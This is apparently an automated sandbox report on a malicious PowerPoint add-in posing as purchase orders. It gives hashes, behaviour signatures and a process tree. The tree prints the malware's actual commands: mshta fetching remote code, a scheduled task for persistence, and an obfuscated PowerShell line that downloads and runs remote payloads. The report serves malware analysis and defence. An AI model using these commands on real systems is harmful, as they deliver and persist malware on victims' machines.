Analysis

  • max time kernel
    122s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    18-10-2021 19:47

General

  • Target

    Purchase orders with bank details.ppam

  • Size

    8KB

  • MD5

    ba36220554ab830aad2ce4f4a0a2acb4

  • SHA1

    f54bb00c862d0f1f0e883e691a87da8285e1997b

  • SHA256

    da7b242a5fac33fd8bc5ad7650f4e0a946b0b07c01a239d778ec289c63b5be18

  • SHA512

    96809ecdef0947de44e08447ee4add90a62a5be111d0df8348d747e595b29879d12866bab3bd9011084946194d1b8a8a9a44920fc1689697767e38aef1339633

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 13 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Purchase orders with bank details.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1232
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\System32\mshta.exe" https://www.bitly.com/ajdwwaskdorufhjwijjd
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:1176
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im winword.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1736
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1740
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""Bluefibonashi"" /F /tr ""\""MsHtA""\""http://1230948%[email protected]/p/11.html\""
          3⤵
          • Creates scheduled task(s)
          PID:524
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_6d4a8cf357544827a7943b96f91f5785.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_15c2594b40a245a9936b81883534b8d8.txt').GetResponse().GetResponseStream()).ReadToend());
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1356

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/524-65-0x0000000000000000-mapping.dmp

    • memory/1176-69-0x00000000048D0000-0x00000000049C5000-memory.dmp

      Filesize

      980KB

    • memory/1176-61-0x0000000000000000-mapping.dmp

    • memory/1232-57-0x0000000000000000-mapping.dmp

    • memory/1232-58-0x000007FEFB541000-0x000007FEFB543000-memory.dmp

      Filesize

      8KB

    • memory/1356-66-0x0000000000000000-mapping.dmp

    • memory/1356-71-0x0000000002500000-0x000000000314A000-memory.dmp

      Filesize

      12.3MB

    • memory/1356-70-0x0000000002500000-0x000000000314A000-memory.dmp

      Filesize

      12.3MB

    • memory/1356-72-0x0000000002500000-0x000000000314A000-memory.dmp

      Filesize

      12.3MB

    • memory/1736-63-0x0000000000000000-mapping.dmp

    • memory/1740-64-0x0000000000000000-mapping.dmp

    • memory/2040-59-0x0000000075871000-0x0000000075873000-memory.dmp

      Filesize

      8KB

    • memory/2040-68-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2040-60-0x0000000005C70000-0x0000000005C72000-memory.dmp

      Filesize

      8KB

    • memory/2040-54-0x0000000073D01000-0x0000000073D05000-memory.dmp

      Filesize

      16KB

    • memory/2040-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2040-55-0x0000000070D31000-0x0000000070D33000-memory.dmp

      Filesize

      8KB